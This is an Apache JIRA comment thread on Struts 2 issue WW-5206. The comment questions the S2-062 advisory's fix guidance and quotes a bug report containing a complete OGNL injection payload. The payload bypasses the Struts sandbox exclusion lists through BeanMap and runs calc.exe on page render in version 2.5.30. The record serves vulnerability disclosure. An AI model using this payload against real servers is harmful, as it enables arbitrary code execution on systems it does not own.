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https://issues.apache.org/jira/browse/WW-5206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17580636#comment-17580636
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Amaël Heiligtag commented on WW-5206:
-------------------------------------
On the page [https://cwiki.apache.org/confluence/display/WW/S2-062] :
* Chapter "Summary"> Row "Recommendation" > indicates to upgrade
* Chapter "Solution" indicates "avoid ... OGNL.." OR "upgrade"
* Chapter "Workaround" indicates "avoid... OGNL..."
These three parts all indicate that avoiding using OGNL forced evaluation is a
workaround and that upgrading is the solution. If it's the opposite then this
page should be updated.
> OGNL execute arbitrary code
> ---------------------------
>
> Key: WW-5206
> URL: https://issues.apache.org/jira/browse/WW-5206
> Project: Struts 2
> Issue Type: Bug
> Components: Core
> Affects Versions: 2.5.30
> Reporter: Benjamin Lepeigneul
> Priority: Trivial
>
> Hi,
>
> I can run arbitrary code with version of struts 2 - 2.5.30.
>
> +*JSP code :*+
> <s:textarea
> label="%\{getText('information.message.erreur')}"
> id="messageErreurTexte"
> name="formInformation.message"
> cssClass="input-messageErreur"
> value="${pageInformation.message}"
> />
>
> +*If I write this text in my form input textarea :*+
> %\{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map.setBean(#request.get('struts.valueStack')) ==
> true).toString().substring(0,0) +
> (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map2.setBean(#request.get('map').get('context')) ==
> true).toString().substring(0,0) +
> (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map3.setBean(#request.get('map2').get('memberAccess')) ==
> true).toString().substring(0,0) +
> (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'calc.exe'}))}
> Whenever the page is displayed, the binary calc.exe is executed.
>
> My generic struts params :
> * struts.ognl.allowStaticMethodAccess = true
> * struts.ognl.expressionMaxLength not set
> * struts.devMode = false
> * struts.ui.theme = simple
>
> Is it normal ?
>
> Thanks.
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